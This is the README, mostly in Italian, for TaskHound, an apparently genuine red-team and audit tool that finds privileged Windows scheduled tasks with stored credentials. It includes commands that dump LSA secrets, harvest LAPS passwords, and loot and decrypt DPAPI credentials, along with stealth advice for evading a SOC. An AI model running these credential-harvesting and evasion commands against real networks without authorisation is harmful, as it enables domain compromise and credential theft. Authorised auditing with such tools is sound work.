
TaskHound v1.2.0
Strumento per enumerare attività pianificate privilegiate su sistemi remoti
Strumento per la scoperta di attività pianificate privilegiate su Windows per divertimento e profitto.
TaskHound caccia le attività pianificate di Windows che vengono eseguite con account privilegiati e credenziali memorizzate. Enumera le attività tramite SMB, analizza i file XML e identifica opportunità di attacco ad alto valore attraverso l'integrazione con BloodHound.
Per retroscena e spiegazioni dettagliate: vedi i post associati del Blog - Parte 1 e Parte 2.
Caratteristiche principali
| Funzionalità | Descrizione |
|---|---|
| Rilevamento Tier 0 & Alto Valore | Identifica automaticamente le attività eseguite come Amministratori di Dominio, Amministratori Enterprise e altri account privilegiati |
| Integrazione BloodHound | Connettiti a istanze BHCE/Legacy live o importa esportazioni per il rilevamento di utenti ad alto valore |
| Supporto OpenGraph | Visualizza le attività pianificate come nodi di percorso di attacco in BloodHound CE |
| Integrazione LAPS | Recupera e utilizza automaticamente le password LAPS (sia Windows LAPS che Legacy) per l'autenticazione per host |
| Estrazione credenziali DPAPI | Raccogli e decifra i blob DPAPI contenenti credenziali di attività memorizzate |
| Scansione multi-thread | Elaborazione parallela dei target con limitazione della velocità per ambienti di grandi dimensioni |
| Rilevamento Tier-0 basato su LDAP | Rileva account privilegiati tramite appartenenza a gruppi senza BloodHound |
| Validazione credenziali | Verifica se le password delle attività memorizzate sono ancora valide tramite RPC |
| Analisi offline | Elabora immagini disco montate o file XML precedentemente raccolti |
| Formati di output multipli | Report di sicurezza in testo semplice, JSON, CSV e HTML con punteggio di gravità |
| Risoluzione SID | Risoluzione multi-livello tramite BloodHound → Cache → LSARPC → LDAP → GC |
| Caching | Cache persistente basata su SQLite per le ricerche SID e le credenziali LAPS |
Avvio rapido```bash
Install
git clone https://github.com/1r0BIT/TaskHound.git cd TaskHound python3 -m venv .venv && source .venv/bin/activate pip install -r requirements.txt && pip install .
Basic usage - single target
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local
Multiple targets with threading
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --threads 10
Auto-discover all domain computers
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --dc-ip 10.0.0.1 --auto-targets --threads 20
With LAPS - auto-retrieves per-host local admin passwords
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --laps --threads 10
Offline analysis of mounted disk image
taskhound --offline-disk /mnt/disk
> **Supporto per l'autenticazione**: TaskHound supporta la maggior parte dei principali meccanismi di autenticazione, tra cui password, NTLM hash, Kerberos (anche con ccache) e autenticazione con chiave AES.
## File di Configurazione
TaskHound supporta file di configurazione TOML per impostazioni persistenti. Crea `taskhound.toml` nella tua directory di lavoro o in `~/.config/taskhound/`:```toml
[authentication]
username = "svc_taskhound"
domain = "THESIMPSONS.LOCAL"
[target]
dc_ip = "10.0.0.1"
threads = 10
timeout = 30
[bloodhound]
live = true
connector = "http://127.0.0.1:8080"
api_key = "${BH_API_KEY}" # Use env vars for secrets
api_key_id = "${BH_API_KEY_ID}"
type = "bhce"
[bloodhound.opengraph]
enabled = true
output_dir = "./opengraph"
[laps]
enabled = true
[cache]
enabled = true
ttl = 86400 # 24 hours
Priorità : argomenti CLI > Variabili d'ambiente > Configurazione locale > Configurazione utente > Predefiniti
Integrazione con AdaptixC2
Il BOF di TaskHound è incluso nell'Adaptix Extension-Kit sotto SAR-BOF/taskhound/.
Output di esempio```
TTTTT AAA SSS K K H H OOO U U N N DDDD T A A S K K H H O O U U NN N D D T AAAAA SSS KKK HHHHH O O U U N N N D D T A A S K K H H O O U U N NN D D T A A SSSS K K H H OOO UUU N N DDDD
by 0xr0BIT
[+] Connecting to BloodHound CE at http://127.0.0.1:8080 [+] BloodHound connection successful (API v2) [+] High Value target data loaded (42 users) [+] OpenGraph generation enabled (auto-upload active) [] Processing target: moe.thesimpsons.local [+] moe.thesimpsons.local: Connected via SMB [+] moe.thesimpsons.local: Local Admin Access confirmed [] moe.thesimpsons.local: Enumerating scheduled tasks (skipping \Microsoft) [+] moe.thesimpsons.local: Found 12 tasks (3 privileged, 2 with stored credentials)
┌──────────────────────────────────────────────────────────────────────────────┐ │ [TIER-0] moe.thesimpsons.local - \DuffBrewery\BackupJob │ ├──────────────────────────────────────────────────────────────────────────────┤ │ Enabled │ True │ │ RunAs │ THESIMPSONS\Administrator │ │ What │ C:\Scripts\backup_beer_recipes.ps1 │ │ Author │ THESIMPSONS\burns.monty │ │ Date │ 2025-06-15T02:30:00 │ │ Trigger │ Calendar (starts 2025-06-15 02:30, daily) │ │ Reason │ Tier 0 - Domain Admins membership │ │ Cred Validation │ CONFIRMED_VALID │ │ Pwd Analysis │ Password unchanged AND ran within schedule - confirmed │ └──────────────────────────────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────────────────────┐ │ [PRIV] moe.thesimpsons.local - \KrustyBurger\InventorySync │ ├──────────────────────────────────────────────────────────────────────────────┤ │ Enabled │ True │ │ RunAs │ THESIMPSONS\svc_krusty │ │ What │ C:\KrustyApps\sync.exe --silent │ │ Author │ THESIMPSONS\carlson.carl │ │ Date │ 2025-03-10T08:00:00 │ │ Trigger │ Calendar (starts 2025-03-10 08:00, every 4 hours) │ │ Reason │ High Value match found in BloodHound │ │ Cred Validation │ DEFINITELY_STALE │ │ Pwd Analysis │ Password changed AFTER last run - credentials are stale │ └──────────────────────────────────────────────────────────────────────────────┘
╭─────────────────────────── SCAN COMPLETE ────────────────────────────────────╮ │ [+] Succeeded: 1 │ │ [-] Failed: 0 │ │ Total time: 2.34s │ │ Avg per target: 2340ms │ ╰──────────────────────────────────────────────────────────────────────────────╯
╭─────────────────────────── TASK SUMMARY ─────────────────────────────────────╮ │ Hostname Tier-0 Privileged Normal │ │ moe.thesimpsons.local 1 2 9 │ ╰──────────────────────────────────────────────────────────────────────────────╯
╭─────────────────────── BLOODHOUND OPENGRAPH ─────────────────────────────────╮ │ [+] Generated 3 nodes, 5 edges │ │ [+] Uploaded to BloodHound successfully │ │ [*] JSON saved to: ./opengraph/taskhound_data.json │ ╰──────────────────────────────────────────────────────────────────────────────╯
---
## Integrazione BloodHound
TaskHound supporta sia **Legacy BloodHound** (Neo4j) che **BloodHound Community Edition (BHCE)** con rilevamento automatico del formato.
### Connessione Live```bash
# BHCE with API Key (recommended)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
--bh-live --bhce --bh-connector http://127.0.0.1:8080 \
--bh-api-key "YOUR_API_KEY" --bh-api-key-id "YOUR_KEY_ID"
# BHCE with username/password
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
--bh-live --bhce --bh-connector http://127.0.0.1:8080 \
--bh-user admin --bh-password password
# Legacy BloodHound (Neo4j)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
--bh-live --legacy --bh-connector bolt://127.0.0.1:7687 \
--bh-user neo4j --bh-password password
Metodi di Rilevamento Tier 0
| Fonte | Metodo di Rilevamento |
|---|---|
| BHCE | isTierZero, tag di sistema (admin_tier_0), AdminSDHolder |
| Legacy | AdminSDHolder (admincount=1), rilevamento basato su SID |
| LDAP | Query di appartenenza ai gruppi (--ldap-tier0) |
| Built-in | SID di Tier 0 noti (Domain Admins, Enterprise Admins, ecc.) |
Acquisizione Dati Offline
Se non è possibile una connessione live, esporta gli utenti di alto valore con queste query Cypher:
BHCE:```cypher MATCH (n) WHERE coalesce(n.system_tags, "") CONTAINS "admin_tier_0" OR n.highvalue = true MATCH p = (n)-[:MemberOf*1..]->(g:Group) RETURN p;
**Eredità:**```cypher
MATCH (u:User {highvalue:true})
OPTIONAL MATCH (u)-[:MemberOf*1..]->(g:Group)
WITH u, properties(u) as all_props, collect(g.name) as groups
RETURN u.samaccountname AS SamAccountName, all_props, groups
Then use: taskhound --bh-data exported_users.json ...
Visualizzazione del Percorso di Attacco OpenGraph
TaskHound crea nodi e archi personalizzati in BloodHound CE per visualizzare i percorsi di attacco delle attività pianificate.
Cosa ottieni:
- Nodi personalizzati:
ScheduledTaskcon oltre 20 proprietà (credenziali, trigger, analisi delle password, stato di validazione) - Archi personalizzati:
HasTask,HasTaskWithStoredCreds,RunsAs - Percorsi di attacco: `(Owned) → AdminTo → (Computer) → HasTask → (Task) → RunsAs → (Target)````bash
Collect and auto-upload
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --bh-opengraph
Generate without upload (saves to {output_dir}/opengraph/)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --bh-opengraph --bh-no-upload
> **Nota**: OpenGraph è solo per BHCE. BloodHound Legacy non supporta tipi di nodo personalizzati.
---
## Integrazione LAPS
TaskHound può recuperare e utilizzare automaticamente le password LAPS per l'autenticazione per host. Supporta sia Windows LAPS (`msLAPS-Password`) che Legacy LAPS (`ms-Mcs-AdmPwd`), incluse le password crittografate tramite MS-GKDI.```bash
# Basic LAPS - auto-retrieves passwords per target
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --laps --threads 10
# Custom local admin username
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --laps --laps-user localadmin
# LAPS with OPSEC mode (other noisy operations disabled)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --laps --opsec --force-laps
Tipi di LAPS supportati:
| Tipo | Attributo | Crittografato |
|---|---|---|
| Windows LAPS | msLAPS-Password | No |
| Windows LAPS | msLAPS-EncryptedPassword | Sì (MS-GKDI) |
| Legacy LAPS | ms-Mcs-AdmPwd | No |
Estrazione delle credenziali DPAPI
TaskHound estrae e decrittografa le credenziali dei task memorizzate utilizzando DPAPI. Il saccheggio di DPAPI è abilitato per impostazione predefinita.```bash
Step 1: Get DPAPI_SYSTEM key via LSA dump
nxc smb moe.thesimpsons.local -u homer.simpson -p 'Doh!123' --lsa
Look for: DPAPI_SYSTEM userkey: 0x51e43225...
Step 2a: Loot + decrypt immediately (looting is default, just add key)
taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --dpapi-key 0x51e43225...
Step 2b: Or collect now (default saves to ./output/raw_backups/), decrypt later
taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local
Later:
taskhound --offline ./output/raw_backups/moe.thesimpsons.local --dpapi-key 0x51e43225...
Custom output directory
taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --output-dir ./collected
Disable DPAPI looting explicitly
taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --no-loot
> **Importante**: Ogni host ha una chiave DPAPI_SYSTEM univoca. Per scansioni multi-target, raccogli (impostazione predefinita), poi decifra ogni target offline.
---
## Convalida delle Credenziali
TaskHound valuta se le password delle attività memorizzate sono probabilmente ancora valide interrogando la cronologia di esecuzione delle attività tramite RPC e applicando euristiche. Questa funzione è **abilitata per impostazione predefinita**.```bash
# Credential validation is on by default, no flag needed
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local
# Disable validation explicitly
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --no-validate-creds
Come funziona
Windows Task Scheduler registra solo le esecuzioni riuscite delle attività. I fallimenti di autenticazione (password errata, account bloccato, ecc.) vengono ignorati silenziosamente. L'attività semplicemente non viene eseguita.
Intuizione chiave: Windows convalida le credenziali al momento della creazione dell'attività. Se provi a creare un'attività con una password errata, ottieni ERROR_LOGON_FAILURE e l'attività non viene creata. Questo significa: se esiste un'attività con credenziali memorizzate, la password era valida quando l'attività è stata creata.
TaskHound utilizza euristiche per stimare la validità delle credenziali:
| Status | Meaning |
|---|---|
CONFIRMED_VALID | Password invariata dalla creazione dell'attività E attività eseguita entro la pianificazione prevista - credenziali confermate funzionanti |
HIGH_CONFIDENCE_VALID | Password invariata dalla creazione dell'attività, ma tempistica del trigger sconosciuta (es. trigger di avvio) - credenziali probabilmente valide |
LIKELY_VALID | Password cambiata ma attività eseguita entro la pianificazione (credenziali aggiornate), OPPURE attività eseguita con successo (modalità solo RPC) |
POSSIBLY_STALE | L'attività avrebbe dovuto essere eseguita ma non lo è stata - potrebbe indicare credenziali obsolete |
DEFINITELY_STALE | Password cambiata dopo l'ultima esecuzione riuscita - credenziali decisamente errate |
NEVER_RAN_LIKELY_VALID | L'attività non è mai stata eseguita, ma password invariata dalla creazione - probabilmente valida (potrebbe mancare diritti di accesso batch) |
NEVER_RAN_POSSIBLY_STALE | L'attività non è mai stata eseguita e password cambiata dopo la creazione - probabilmente obsoleta |
NEVER_RAN_UNKNOWN | L'attività non è mai stata eseguita, nessun contesto AD - era valida alla creazione, stato attuale sconosciuto |
UNKNOWN | Impossibile determinare (account bloccato, ecc.) |
L'intuizione chiave: confrontare pwdLastSet da AD con LastRunTime da Task Scheduler ci dice se la password è cambiata dopo l'ultima esecuzione riuscita. Per le attività mai eseguite, confrontare pwdLastSet con data_creazione_attività ci dice se la password è cambiata dopo che l'attività è stata creata con credenziali valide.
Senza dati AD (es. --no-ldap e nessun BloodHound): TaskHound torna alla modalità solo RPC, utilizzando solo il codice di ritorno e l'ora dell'ultima esecuzione. Un'esecuzione riuscita restituisce LIKELY_VALID; il rilevamento di obsolescenza basato sulla pianificazione si applica ancora se l'intervallo del trigger è noto dall'XML dell'attività.
Nota: Disabilitato quando si usa
--opseco--no-rpc.
Formati di Output
TaskHound supporta più formati di output per diversi casi d'uso. Tutti gli output utilizzano una struttura di directory organizzata sotto --output-dir (predefinito: ./output).
Formati Disponibili
| Format | Flag | Description | Use Case |
|---|---|---|---|
| Plain | -o plain | Output console leggibile dall'uomo (predefinito) | Uso interattivo, revisione rapida |
| JSON | -o json | Esportazione strutturata leggibile dalla macchina | Automazione, analisi dati, scripting |
| CSV | -o csv | Esportazione compatibile con fogli di calcolo | Reportistica, filtraggio, analisi Excel |
| HTML | -o html | Report di sicurezza con punteggio di gravità | Audit del blue team, report per stakeholder |
Esempi di Utilizzo```bash
Default - plain text to console + files
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local
Multiple output formats
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o plain,json,html
JSON only for automation
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o json
Custom output directory
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o html --output-dir ./audit_results
All formats for comprehensive audit
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o plain,json,csv,html --output-dir ./full_audit
### Struttura della Directory```
./output/ # Base directory (--output-dir)
├── plain/ # Plain text output
│ └── <hostname>/
│ └── tasks.txt
├── json/ # JSON export
│ └── taskhound.json
├── csv/ # CSV export
│ └── taskhound.csv
├── html/ # HTML security reports
│ └── taskhound.html
├── opengraph/ # BloodHound OpenGraph files
│ └── taskhound_data.json
└── raw_backups/ # Raw collection (XML + DPAPI)
└── <hostname>/
├── tasks/ # Task XML files
└── dpapi_loot/ # DPAPI credential blobs
Report di Sicurezza HTML
L'output HTML genera un report di sicurezza completo progettato per le valutazioni del blue team:
- Punteggio di Gravità: Attività valutate in base al livello di rischio basato su privilegi, credenziali memorizzate e configurazione
- Dettagli dell'Attività: Metadati completi inclusi trigger, azioni, account di esecuzione e stato di convalida
- Filtraggio: Filtraggio lato client per host, gravità e stato delle credenziali
- Pronto per l'Esportazione: Adatto per report gestionali e documentazione di audit
Raccolta di Backup
Per impostazione predefinita, TaskHound salva i file XML grezzi delle attività e i blob di credenziali DPAPI per l'analisi offline:```bash
Disable backup collection
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --no-backup
Analyze backups later (offline mode)
taskhound --offline ./output/raw_backups/moe.thesimpsons.local --dpapi-key 0x51e43225...
---
## Scansione multi-threaded
Per ambienti di grandi dimensioni, utilizzare la scansione parallela con limitazione della velocità:```bash
# 20 parallel workers, max 5 targets/second
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --threads 20 --rate-limit 5
# Auto-discover servers only (uses preset filter)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --ldap-filter servers --threads 20
# Include disabled computers and extend stale threshold to 90 days
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --include-disabled --stale-threshold 90
# Target workstations only, disable stale filtering
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --ldap-filter workstations --stale-threshold 0
Filtraggio Automatico dei Target
Per impostazione predefinita, --auto-targets applica un filtraggio intelligente per ridurre il rumore e le connessioni fallite:
| Filtro | Predefinito | Override |
|---|---|---|
| Account disabilitati | Esclusi | --include-disabled |
| Computer obsoleti (>60 giorni) | Esclusi | --stale-threshold 0 (disabilita) |
| Controller di dominio | Esclusi | --include-dcs |
Priorità delle origini dati: BloodHound (se configurato) → fallback LDAP
Quando si utilizza BloodHound, TaskHound interroga con include_properties=true per un'enumerazione efficiente con una singola query. Se i dati di BloodHound sono più vecchi di 7 giorni, viene visualizzato un avviso; oltre 30 giorni viene attivato un avviso urgente.
Preimpostazioni filtro:
servers- Solo sistemi operativi Windows Serverworkstations- Solo sistemi operativi non server(raw LDAP)- Filtro LDAP personalizzato (richiede origine LDAP)
Risoluzione SID
TaskHound risolve i SID in nomi leggibili utilizzando una catena di fallback a più livelli:
- BloodHound (se connesso) - il più veloce, nessun traffico di rete
- Cache - cache persistente SQLite (TTL predefinito 24h)
- LSARPC - query diretta al target (la più accurata per account locali)
- LDAP - query al controller di dominio
- Catalogo globale - per SID cross-dominio/forest```bash
Separate LDAP credentials for SID resolution
taskhound -u localadmin -p 'L0c4lP@ss!' -d . -t moe.thesimpsons.local
--ldap-user homer.simpson --ldap-password 'Doh!123' --ldap-domain thesimpsons.local
Specify Global Catalog for multi-domain
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --gc-server 10.0.0.1
Disable all network-based resolution (OPSEC)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --opsec
---
## Analisi Offline
Analizza le attività senza accesso alla rete:```bash
# Previously collected XML backups
taskhound --offline ./backup/moe.thesimpsons.local
# Mounted disk image
taskhound --offline-disk /mnt/disk
# Mounted image with custom hostname
taskhound --offline-disk /mnt/disk --disk-hostname MOE
Considerazioni OPSEC
TaskHound offre un controllo granulare sulle operazioni di rete per bilanciare furtività e funzionalità.
Impatto sui protocolli
| Protocollo | Operazioni | Flag per disabilitare |
|---|---|---|
| SMB | Enumerazione dei task (sempre usato) | N/A |
| LDAP (389/636) | Risoluzione SID, rilevamento Tier-0, pwdLastSet | --no-ldap |
| Catalogo Globale (3268) | Risoluzione SID tra domini | --no-ldap |
| LSARPC (pipe SMB) | Risoluzione SID di fallback | --no-rpc |
| Registro Remoto (pipe SMB) | Rilevamento Credential Guard | --no-credguard |
| RPC di Task Scheduler (pipe SMB) | Validazione delle credenziali | --no-validate-creds |
| Raccolta file DPAPI (SMB) | Raccolta blob di credenziali DPAPI | --no-loot |
Catena di risoluzione SID```
Default: BloodHound → Cache → LSARPC → LDAP → GC
--no-ldap: BloodHound → Cache → LSARPC
--no-rpc: BloodHound → Cache → LDAP → GC
--opsec: BloodHound → Cache (only)
### Comportamento predefinito
TaskHound è **molto rumoroso per impostazione predefinita** – tutte le funzionalità sono abilitate per la massima visibilità. Questo lo rende ideale per audit e valutazioni complete in cui l'OPSEC non è un problema:
- **Rilevamento Credential Guard** – Abilitato per impostazione predefinita (disabilita con `--no-credguard`)
- **Validazione delle credenziali** – Abilitato per impostazione predefinita (disabilita con `--no-validate-creds`)
- **Svuotamento DPAPI** – Abilitato per impostazione predefinita (disabilita con `--no-loot`)
- **Risoluzione LDAP** – Abilitato per impostazione predefinita (disabilita con `--no-ldap`)
- **Operazioni RPC** – Abilitato per impostazione predefinita (disabilita con `--no-rpc`)
> [!WARNING]
> **I controlli di Credential Guard sono ALTAMENTE rilevabili.** Poiché il servizio Registro remoto è disabilitato per impostazione predefinita sui Windows moderni, TaskHound **avvierà da remoto il servizio** tramite SCM, eseguirà i controlli e poi lo fermerà (proprio come secretsdump). Questo farà accendere un qualsiasi SOC decente come un albero di Natale. **Usa sicuramente `--no-credguard` se vuoi evitarlo durante gli engagement!**
Parlando di Engagement: per operazioni red team/stealth, usa `--opsec` per disabilitare tutte le funzionalità rumorose in una volta. (Oppure usa il BOF).
### Esempi di utilizzo```bash
# Full OPSEC mode (disables: LDAP, RPC, looting, credguard, validation; forces sequential scanning)
taskhound -u user -p 'pass' -d corp.local -t target --opsec
# OPSEC with jitter (random 0-5 second delays between hosts)
taskhound -u user -p 'pass' -d corp.local --targets-file hosts.txt --opsec --jitter 5
# Disable LDAP only (keep LSARPC for SID resolution)
taskhound -u user -p 'pass' -d corp.local -t target --no-ldap
# Disable RPC only (keep LDAP for SID resolution)
taskhound -u user -p 'pass' -d corp.local -t target --no-rpc
# LAPS with OPSEC (force LAPS LDAP queries despite --opsec)
taskhound -u user -p 'pass' -d corp.local --laps --opsec --force-laps
Migliori pratiche per la furtività
- Pre-caricare i dati di BloodHound - Importare prima i dati del dominio con
--bh-live - Usare il flag
--opsec- Disabilita tutte le operazioni rumorose in una volta - Aggiungere
--jitterper la randomizzazione del timing - Evitare pattern di scansione prevedibili - Raccogliere XML tramite altri mezzi - Analizzare offline con
--offline - Usare l'implementazione BOF - Disponibile in AdaptixC2
Riferimento completo CLI
TaskHound utilizza Rich per l'output della console formattato con tabelle colorate e indicatori di progresso.``` taskhound --help
<details>
<summary>Clicca per espandere l'uso completo</summary>```
Usage: taskhound [OPTIONS] [TARGETS]
AUTHENTICATION OPTIONS
-u, --username Username (required for online mode)
-p, --password Password (omit with -k for Kerberos/ccache)
-d, --domain Domain (required for online mode)
--hashes NTLM hashes (LM:NT or NT-only)
-k, --kerberos Use Kerberos authentication
--aes-key AES key for Kerberos (32 or 64 hex chars)
TARGET OPTIONS
-t, --target Single target or comma-separated list
--targets-file File with targets, one per line
--dc-ip Domain controller IP
--ns, --nameserver DNS nameserver for lookups
--timeout Connection timeout in seconds (default: 5)
--threads Parallel worker threads (default: 10)
--rate-limit Max targets per second (default: unlimited)
--jitter SECONDS Random delay (0-N seconds) between hosts (OPSEC, sequential only)
--dns-tcp Force DNS over TCP (for SOCKS proxies)
--auto-targets Auto-discover targets (BloodHound first, LDAP fallback)
--ldap-filter Filter for auto-targets: 'servers', 'workstations', or raw LDAP
--include-dcs Include Domain Controllers in auto-targets
--include-disabled Include disabled computer accounts
--stale-threshold Exclude computers inactive >N days (default: 60, 0=disable)
SCANNING OPTIONS
--offline Parse XMLs from directory
--offline-disk Analyze mounted Windows filesystem
--disk-hostname Override hostname for offline-disk
--bh-data BloodHound export file for HV detection
--opsec Stealth mode: --no-ldap --no-rpc --no-loot --no-credguard --no-validate-creds --threads 1
--no-rpc Disable RPC operations (LSARPC, CredGuard, validation)
--include-ms Include \Microsoft tasks
--include-local Include local system accounts
--include-all Include ALL tasks
--unsaved-creds Show tasks without stored credentials
--no-credguard Disable Credential Guard detection (default: enabled)
--no-validate-creds Disable credential validation (default: enabled)
BLOODHOUND OPTIONS
--bh-live Enable live BloodHound connection
--bh-connector BloodHound URI (default: http://127.0.0.1:8080)
--bh-user BloodHound username
--bh-password BloodHound password
--bh-api-key BloodHound API key
--bh-api-key-id BloodHound API key ID
--bh-timeout API query timeout (default: 120)
--bhce Use BHCE (Community Edition)
--legacy Use Legacy BloodHound (Neo4j)
--bh-save Save query results to file
OPENGRAPH OPTIONS (BHCE ONLY)
--bh-opengraph Generate OpenGraph JSON files (saves to {output_dir}/opengraph/)
--bh-no-upload Skip automatic upload
--bh-force-icon Force icon update
--bh-icon Icon name (default: clock)
--bh-color Icon color (default: #8B5CF6)
--bh-allow-orphans Create edges for missing nodes
DPAPI OPTIONS
--no-loot Disable DPAPI credential collection (default: enabled)
--dpapi-key DPAPI_SYSTEM userkey (hex format)
LDAP/SID RESOLUTION
--no-ldap Disable LDAP/GC operations
--ldap-user Alternative LDAP username
--ldap-password Alternative LDAP password
--ldap-hashes Alternative LDAP hashes
--ldap-domain Alternative LDAP domain
--ldap-tier0 Enable LDAP-based Tier-0 detection
--gc-server Global Catalog server IP
LAPS OPTIONS
--laps Enable LAPS authentication
--laps-user Override local admin username
--force-laps Force LAPS in OPSEC mode
CACHE OPTIONS
--cache-ttl Cache TTL in seconds (default: 86400)
--no-cache Disable caching
--clear-cache Clear cache before run
--cache-file Cache file path
OUTPUT OPTIONS
-o, --output Output formats (comma-separated: plain,json,csv,html)
Default: plain
--output-dir Base output directory (default: ./output)
--no-backup Disable raw XML backup collection
--no-summary Disable summary table
Output directory structure:
./output/
├── plain/<host>/tasks.txt # Plain text output
├── json/taskhound.json # JSON export
├── csv/taskhound.csv # CSV export
├── html/taskhound.html # HTML security report
├── opengraph/ # BloodHound OpenGraph files
└── raw_backups/<host>/ # Raw XML + DPAPI files
├── tasks/ # Task XML files
└── dpapi_loot/ # DPAPI credential blobs
MISC
--verbose Verbose output
--debug Debug output with stack traces
Roadmap
Quando l'assunzione di caffeina e il tempo libero si allineano:
Completati di recente
Autenticazione con chiave API - Richieste firmate HMAC-SHA256Supporto LAPS - LAPS Windows + Legacy + crittografato tramite MS-GKDIElaborazione multi-thread - Scansione parallela con limitazione della velocitàValidazione delle credenziali - Verifica della validità delle password basata su RPCFormati di output multipli - Plain, JSON, CSV, HTML con struttura di directory organizzataScoperta automatica dei target - Enumerazione dei computer basata su LDAPModalità disco offline - Analisi di immagini disco montateCaching persistente - Cache SQLite per dati SID/LAPSOutput console ricco - Tabelle colorate e indicatori di progressoSupporto cross-dominio - Ambienti multi-dominio con relazioni di trust
Pianificati
- Modularizzazione delle fasi: Questo è diventato un colosso con troppi interruttori. Sistemerò.
- Integrazione delle informazioni sugli abusi: Tecniche MITRE ATT&CK nei nodi di BloodHound
- Mappature Tier-0 personalizzate: Supporto per zone di privilegio definite dall'utente in BHCE
- Controlli Linux: Supporto per la scansione di sistemi operativi basati su *nix
Riconoscimenti
- Fortra/Impacket - SMB/RPC/Kerberos, DPAPI-NG, MS-GKDI
- SpecterOps/BloodHound - Analisi del percorso di attacco
- Podalirius/bh-opengraph - Ispirazione per OpenGraph
- Pennyw0rth/NetExec - Riferimento per l'implementazione di LAPS
- jborean93/dpapi-ng - Ricerca su DPAPI-NG
- tijldeneut/DPAPIck3 - Riferimento per la decrittazione DPAPI
- gentilkiwi/mimikatz - Ricerca DPAPI
E tutti coloro che hanno contribuito a rendere accessibili gli strumenti di sicurezza offensiva.
Disclaimer
TaskHound è strettamente uno strumento di audit e didattico. Utilizzalo solo in ambienti di tua proprietà o per i quali hai esplicita autorizzazione. Sul serio. Non fare il furbo.
Contributing
PR benvenuti. Metà di questo è stato vibe-coding indotto dalla caffeina, quindi non aspettarti miracoli.
License
Usa responsabilmente. Nessuna garanzia fornita. Vedi LICENSE per i dettagli.